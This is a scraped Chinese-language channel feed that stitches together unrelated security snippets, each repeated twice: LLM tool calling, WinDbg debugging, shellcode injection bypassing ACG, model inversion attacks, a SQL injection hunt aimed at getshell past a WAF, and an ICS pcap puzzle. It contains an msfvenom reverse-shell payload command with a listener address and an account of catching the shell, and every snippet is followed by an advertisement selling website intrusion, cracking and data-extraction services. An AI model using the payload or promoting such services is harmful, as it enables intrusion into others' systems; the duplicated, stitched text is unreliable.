使用工具——Tool
“会使用工具”是人类和动物的根本区别。
要构建更强大的AI工程应用，只有生成文本这样的“纸上谈兵”能力自然是不够的。工具不仅仅是“肢体”的延伸，更是为“大脑”插上了想象力的“翅膀”。借助工具，才能让AI应用的能力真正具备无限的可能，才能从“认识世界”走向“改变世界”。
这里不得不提到OpenAI的Chat Completion API提供的函数调用能力（注意这里不是Assistant的函数调用），通过在对话请求内附加tools参数描述工具的定义格式（原先的functions参数已过期），LLM会根据提示词推断出需要调用哪些工具，并提供具体的调用参数信息。用户需要根据返回的工具调用信息，自行触发相关工具的回调。下一章内容我们可以看到工具的调用动作可以通过Agent自主接管。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
“会使用工具”是人类和动物的根本区别。
要构建更强大的AI工程应用，只有生成文本这样的“纸上谈兵”能力自然是不够的。工具不仅仅是“肢体”的延伸，更是为“大脑”插上了想象力的“翅膀”。借助工具，才能让AI应用的能力真正具备无限的可能，才能从“认识世界”走向“改变世界”。
这里不得不提到OpenAI的Chat Completion API提供的函数调用能力（注意这里不是Assistant的函数调用），通过在对话请求内附加tools参数描述工具的定义格式（原先的functions参数已过期），LLM会根据提示词推断出需要调用哪些工具，并提供具体的调用参数信息。用户需要根据返回的工具调用信息，自行触发相关工具的回调。下一章内容我们可以看到工具的调用动作可以通过Agent自主接管。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
动态调式分析
此处的动态调试是为了验证当程序运行到用户自定义入口点（main或者mainCRTStartup）时栈基址的情况，并进一步分析线程启动时的调用链
用windbg随便打开一个exe程序，程序会停在 ntdll!LdrpDoDebuggerBreak，接着我们在windbg的命令行输入一个下断点的命令：bp ntdll!RtlUserThreadStart。我们这么做的目的是跳过一些初始化操作，直接分析最感兴趣的 RtlUserThreadStart 和 BaseThreadInitThunk。
接着按F5运行，程序会停在 ntdll!RtlUserThreadStart 的入口点
一直Step into（F8）到 call qword ptr [ntdll!__guard_xfg_dispatch_icall_fptr 里面。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
此处的动态调试是为了验证当程序运行到用户自定义入口点（main或者mainCRTStartup）时栈基址的情况，并进一步分析线程启动时的调用链
用windbg随便打开一个exe程序，程序会停在 ntdll!LdrpDoDebuggerBreak，接着我们在windbg的命令行输入一个下断点的命令：bp ntdll!RtlUserThreadStart。我们这么做的目的是跳过一些初始化操作，直接分析最感兴趣的 RtlUserThreadStart 和 BaseThreadInitThunk。
接着按F5运行，程序会停在 ntdll!RtlUserThreadStart 的入口点
一直Step into（F8）到 call qword ptr [ntdll!__guard_xfg_dispatch_icall_fptr 里面。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
代码注入bypass ACG
dll注入无法成功，那么如果改用创建线程注入是否能成功呢？
获取PID然后注入代码是可以成功上线的，我试着手动获取进程PID，我还试过了镜像列表寻找PID，当然这都是获得进程handle的方式。后面都是一样的步骤去执行shellcode注入，但是这里都失败了，可以看到请求了CS，但是程序被关闭，无法成功上线
根据以往的代码注入经验，可能和cs有关系，因为从程序上看是请求完cs后就直接退出了
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c
使用主机成功监听到了shell
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
dll注入无法成功，那么如果改用创建线程注入是否能成功呢？
获取PID然后注入代码是可以成功上线的，我试着手动获取进程PID，我还试过了镜像列表寻找PID，当然这都是获得进程handle的方式。后面都是一样的步骤去执行shellcode注入，但是这里都失败了，可以看到请求了CS，但是程序被关闭，无法成功上线
根据以往的代码注入经验，可能和cs有关系，因为从程序上看是请求完cs后就直接退出了
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c
使用主机成功监听到了shell
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
模型反转攻击
模型反转攻击通过分析模型的输出，尝试反推出输入数据或其特征表示。这种攻击特别适用于那些输出置信度或概率分布的模型，例如分类器。攻击者通过优化技术（如梯度下降）或生成对抗网络（GAN），逐步重建与模型输出一致的输入数据。例如，在人脸识别系统中，攻击者可能利用模型的置信度输出，重建出训练数据中的人脸图像。模型反转攻击的成功依赖于模型的输出信息量以及攻击者对模型结构的了解程度，其威胁在于它可能直接恢复出高度敏感的原始数据。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
模型反转攻击通过分析模型的输出，尝试反推出输入数据或其特征表示。这种攻击特别适用于那些输出置信度或概率分布的模型，例如分类器。攻击者通过优化技术（如梯度下降）或生成对抗网络（GAN），逐步重建与模型输出一致的输入数据。例如，在人脸识别系统中，攻击者可能利用模型的置信度输出，重建出训练数据中的人脸图像。模型反转攻击的成功依赖于模型的输出信息量以及攻击者对模型结构的了解程度，其威胁在于它可能直接恢复出高度敏感的原始数据。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1
前台注入突破360webscan限制getshell
前台SQL注入
这套系统把sql查询方法封装了，那这里就一个个方法搜了
限定目录一个个搜索关键词
挺多的，但是基本是不是做了字符转义，就是数据类型转换
在我长达两年半的筛选中，还是让我找到了一处，没有字符转义和数据类型转换的点
关键词getColumn133通过getColumn执行语句，语句中直接拼接了$sql，$sql在131行定义，直接通过get传参，这里的逻辑判断只有GET['type']>=0，这个传什么都满足，问题不大，从接收参数到带入语句执行，没有看到字符转义和类型转换，存在注入
尝试延时poc,发现提示“输入内容存在危险字符，安全起见，已被本站拦截”
发现项目存在360webscan
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
前台SQL注入
这套系统把sql查询方法封装了，那这里就一个个方法搜了
限定目录一个个搜索关键词
挺多的，但是基本是不是做了字符转义，就是数据类型转换
在我长达两年半的筛选中，还是让我找到了一处，没有字符转义和数据类型转换的点
关键词getColumn133通过getColumn执行语句，语句中直接拼接了$sql，$sql在131行定义，直接通过get传参，这里的逻辑判断只有GET['type']>=0，这个传什么都满足，问题不大，从接收参数到带入语句执行，没有看到字符转义和类型转换，存在注入
尝试延时poc,发现提示“输入内容存在危险字符，安全起见，已被本站拦截”
发现项目存在360webscan
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
工控流量常见题目解析
IEC104_1.pcapng
筛选协议
存在多个协议交互
筛选iec61870_asdu(应用服务数据单元),更关注数据的应用层内容不管是104还是101的数据
过滤分组为0的数据包，这样得到的为同一个连接的数据包，数据也是连贯的
Wireshark 为每个独立的 TCP 连接分配一个唯一的流编号（从 0 开始递增），标识双向通信的数据流
过滤破损数据
IOA Value值表示信息对象的地址，用于标识特定的数据对象
存在破损的数据包
通过iec60870_asdu.normval进行筛选（ 标准化值）
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
IEC104_1.pcapng
筛选协议
存在多个协议交互
筛选iec61870_asdu(应用服务数据单元),更关注数据的应用层内容不管是104还是101的数据
过滤分组为0的数据包，这样得到的为同一个连接的数据包，数据也是连贯的
Wireshark 为每个独立的 TCP 连接分配一个唯一的流编号（从 0 开始递增），标识双向通信的数据流
过滤破损数据
IOA Value值表示信息对象的地址，用于标识特定的数据对象
存在破损的数据包
通过iec60870_asdu.normval进行筛选（ 标准化值）
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke